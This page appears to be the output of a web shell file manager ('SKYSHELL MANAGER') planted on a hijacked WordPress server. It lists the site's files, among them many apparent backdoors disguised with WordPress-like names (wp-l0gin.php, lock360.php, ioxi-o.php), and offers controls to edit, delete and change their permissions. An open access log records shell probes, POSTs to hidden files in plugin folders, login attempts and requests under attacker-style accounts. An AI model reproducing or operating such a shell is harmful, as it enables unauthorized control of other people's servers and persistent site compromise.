📁
ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ
PHP v8.3.31
Create
Create
Path:
root
/
www
/
wwwroot
/
23winw.org
/
Name
Size
Perm
Actions
📁
seo
-
0755
🗑️
🏷️
🔒
📁
well-known
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0777
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.user.ini
0.06 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
32.33 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
adminfuns.php
24.51 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
asd.php
143.87 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
2.02 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
connects.php
4.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
css
1.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
dataxy.php
37.06 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
dex.php
77.67 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
169.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
14.36 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
ioxi-o.php
966.6 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kk.php
3.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
license.txt
19.44 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
link-parse-opml.php
53.15 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
lock360.php
47.7 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
moddofuns.php
5.36 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
my-sites.php
161.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
readme.html
7.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
siteheads.php
168.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
thoms.php
399.45 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
worksec.php
1.06 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
7.54 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-blog-header.php
0.61 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-comments-post.php
2.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config-sample.php
3.26 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php
5.02 KB
0600
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php..
3.56 KB
0666
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cron.php
5.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-editor.php
53.71 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-l0gin.php
170.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-links-opml.php
2.43 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-load.php
3.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-login.php
51.3 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
8.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-set.php
181.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-settings.php
32.38 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-sign.php
181.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-signup.php
34.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-trackback.php
5.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
xmlrpc.php
70.92 KB
0000
🗑️
🏷️
⬇️
✏️
🔒
Edit: m88hh.com.log
162.158.178.71 - - [04/Nov/2026:00:09:58 +0000] "GET / HTTP/1.1" 500 3798 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" 104.23.160.44 - - [04/Nov/2026:00:13:37 +0000] "GET /chairmanship/i0n3t3e2r5e5s6t77887 HTTP/1.1" 500 3798 "-" "Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)" 104.22.219.24 - - [04/Nov/2026:00:27:37 +0000] "GET /wp-admin/install.php?step=1 HTTP/1.1" 200 602 "-" "http://m88hh.com/wp-admin/install.php?step=1" 172.68.163.138 - - [04/Nov/2026:00:28:13 +0000] "GET /xmlrpc.php HTTP/1.1" 200 227 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/157.0.0.0 Safari/537.36" 172.68.163.136 - - [04/Nov/2026:00:28:14 +0000] "GET /favicon.ico HTTP/1.1" 500 3798 "https://m88hh.com/xmlrpc.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/157.0.0.0 Safari/537.36" 172.68.175.59 - - [04/Nov/2026:00:28:37 +0000] "GET /cassowaries/c0a3b2l0e8t2654887 HTTP/1.1" 500 3798 "-" "Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)" 104.22.100.145 - - [04/Nov/2026:00:30:04 +0000] "GET /robots.txt HTTP/1.1" 304 0 "-" "ClueWeb-Crawler/1.0 (+https://boston.lti.cs.cmu.edu/CMU-ClueWeb-Crawler/; mailto:cmu-clueweb-crawler@andrew.cmu.edu)" 172.71.194.206 - - [04/Nov/2026:00:30:07 +0000] "GET /2025/04/18/casino-m88/ HTTP/1.1" 500 3798 "-" "ClueWeb-Crawler/1.0 (+https://boston.lti.cs.cmu.edu/CMU-ClueWeb-Crawler/; mailto:cmu-clueweb-crawler@andrew.cmu.edu)" 104.23.237.82 - - [04/Nov/2026:00:34:35 +0000] "GET /chinh-sach-bao-mat HTTP/1.1" 500 3798 "https://m88hh.com/dieu-khoan-su-dung" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.85 Safari/537.36" 172.70.46.252 - - [04/Nov/2026:00:40:53 +0000] "GET / HTTP/1.1" 500 3798 "-" "Mozilla/5.0 (Linux;u;Android 4.2.2;zh-cn;) AppleWebKit/534.46 (KHTML,like Gecko) Version/5.1 Mobile Safari/10600.6.3 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" 172.70.46.252 - - [04/Nov/2026:00:40:56 +0000] "GET / HTTP/1.1" 500 3798 "-" "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" 162.159.113.51 - - [04/Nov/2026:00:40:56 +0000] "GET / HTTP/1.1" 500 3798 "-" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Mobile Safari/537.36" 104.22.193.59 - - [04/Nov/2026:00:40:58 +0000] "GET / HTTP/1.1" 500 3798 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 172.71.102.82 - - [04/Nov/2026:00:41:01 +0000] "GET / HTTP/1.1" 500 3798 "-" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Mobile Safari/537.36" 104.23.170.117 - - [04/Nov/2026:00:41:08 +0000] "GET / HTTP/1.1" 500 3798 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 104.23.170.116 - - [04/Nov/2026:00:41:08 +0000] "GET /ipfs/bafkreicyqcbhpicbos7ev4mrxofwqx6hvvge7pahpta6xuspr44crai5by HTTP/1.1" 500 3798 "-" "Mozilla/4.047745454 Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)" 172.71.134.127 - - [04/Nov/2026:00:50:56 +0000] "GET /webshell.php HTTP/1.1" 404 1562 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 162.159.113.50 - - [04/Nov/2026:00:52:42 +0000] "POST /wp-content/plugins/wp-rocket/inc/Engine/Media/Lazyload/CSS/Context/newsbythisauthor.php HTTP/1.1" 200 104 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36" 162.159.113.50 - - [04/Nov/2026:00:52:42 +0000] "POST /wp-content/plugins/wp-rocket/inc/Engine/Media/Lazyload/CSS/Context/newsbythisauthor.php HTTP/1.1" 200 107 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36" 162.159.113.50 - - [04/Nov/2026:00:52:43 +0000] "POST /wp-content/plugins/wp-rocket/inc/Engine/Media/Lazyload/CSS/Context/newsbythisauthor.php HTTP/1.1" 200 103 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36" 172.71.102.116 - - [04/Nov/2026:00:52:44 +0000] "POST /wp-content/plugins/wp-rocket/inc/Engine/Media/Lazyload/CSS/Context/newsbythisauthor.php HTTP/1.1" 200 196 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36" 172.70.160.239 - - [04/Nov/2026:00:52:45 +0000] "POST /wp-login.php HTTP/1.1" 200 31 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36" 172.71.183.101 - - [04/Nov/2026:00:52:46 +0000] "POST /wp-login.php HTTP/1.1" 200 31 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36" 172.71.95.146 - - [04/Nov/2026:00:52:47 +0000] "POST /wp-login.php HTTP/1.1" 200 31 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36" 104.23.170.117 - owner_b7be0b42800c [04/Nov/2026:00:52:49 +0000] "GET /wp-json/wp/v2/posts?status=draft&per_page=1 HTTP/1.1" 500 3798 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36" 172.71.99.120 - manager_bdc522a8ad818051 [04/Nov/2026:00:52:51 +0000] "GET /wp-json/wp/v2/posts?status=draft&per_page=1 HTTP/1.1" 500 3798 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36" 141.101.98.177 - support_96fb497fadc2e922 [04/Nov/2026:00:52:53 +0000] "GET /wp-json/wp/v2/posts?status=draft&per_page=1 HTTP/1.1" 500 3798 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36" 104.22.29.150 - - [04/Nov/2026:00:54:07 +0000] "GET /ioxi-o.php HTTP/1.1" 404 1562 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36" 162.158.41.218 - - [04/Nov/2026:00:58:37 +0000] "GET /chalice/m0a3r1k9i6s61227 HTTP/1.1" 500 3798 "-" "Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)" 172.68.70.75 - - [04/Nov/2026:00:58:56 +0000] "GET /shell HTTP/1.1" 500 3798 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 104.23.160.25 - - [04/Nov/2026:00:59:24 +0000] "GET /robots.txt HTTP/1.1" 304 0 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 104.22.177.38 - - [04/Nov/2026:01:03:21 +0000] "GET / HTTP/1.1" 500 3798 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 104.22.7.129 - - [04/Nov/2026:01:05:47 +0000] "GET /5101-rank213 HTTP/1.1" 500 3798 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 104.22.136.9 - - [04/Nov/2026:01:05:49 +0000] "GET /favicon.ico HTTP/1.1" 500 3798 "https://m88hh.com/5101-rank213" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 104.22.7.128 - - [04/Nov/2026:01:06:55 +0000] "GET /5101-rank213 HTTP/1.1" 500 3798 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 104.22.136.9 - - [04/Nov/2026:01:06:57 +0000] "GET /favicon.ico HTTP/1.1" 500 3798 "https://m88hh.com/5101-rank213" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 172.69.7.103 - - [04/Nov/2026:01:08:15 +0000] "GET /shell.php HTTP/1.1" 404 1562 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 172.71.119.123 - - [04/Nov/2026:01:13:36 +0000] "GET /robots.txt HTTP/1.1" 200 335 "-" "Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)" 108.162.246.58 - - [04/Nov/2026:01:13:37 +0000] "GET /cheiropterygia/l0e3n7g4t9h7i4e2s7t42 HTTP/1.1" 500 3798 "-" "Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)" 104.22.118.34 - - [04/Nov/2026:01:21:13 +0000] "GET /webshell HTTP/1.1" 500 3798 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 172.68.110.25 - - [04/Nov/2026:01:26:11 +0000] "POST /wp-content/plugins/seo-by-rank-math/vendor/mythemeshop/wordpress-helpers/src/helpers/index.db.php HTTP/1.1" 200 64 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 104.23.219.72 - - [04/Nov/2026:01:26:32 +0000] "POST /wp-content/plugins/seo-by-rank-math/vendor/mythemeshop/wordpress-helpers/src/helpers/index.db.php HTTP/1.1" 200 36 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 172.70.80.160 - - [04/Nov/2026:01:28:37 +0000] "GET /characidae/s0c3o2n0c3i5n0g65667 HTTP/1.1" 500 3798 "-" "Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)" 172.70.90.70 - - [04/Nov/2026:01:35:17 +0000] "POST /wp-content/plugins/wp-rocket/inc/Engine/Media/Lazyload/CSS/Context/newsbythisauthor.php HTTP/1.1" 200 104 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36" 172.70.90.70 - - [04/Nov/2026:01:35:17 +0000] "POST /wp-content/plugins/wp-rocket/inc/Engine/Media/Lazyload/CSS/Context/newsbythisauthor.php HTTP/1.1" 200 149 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36" 172.71.102.116 - - [04/Nov/2026:01:35:19 +0000] "POST /wp-login.php HTTP/1.1" 200 31 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36" 172.71.102.116 - owner_ce91548f0c97 [04/Nov/2026:01:35:20 +0000] "GET /wp-json/wp/v2/posts?status=draft&per_page=1 HTTP/1.1" 500 3798 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
Save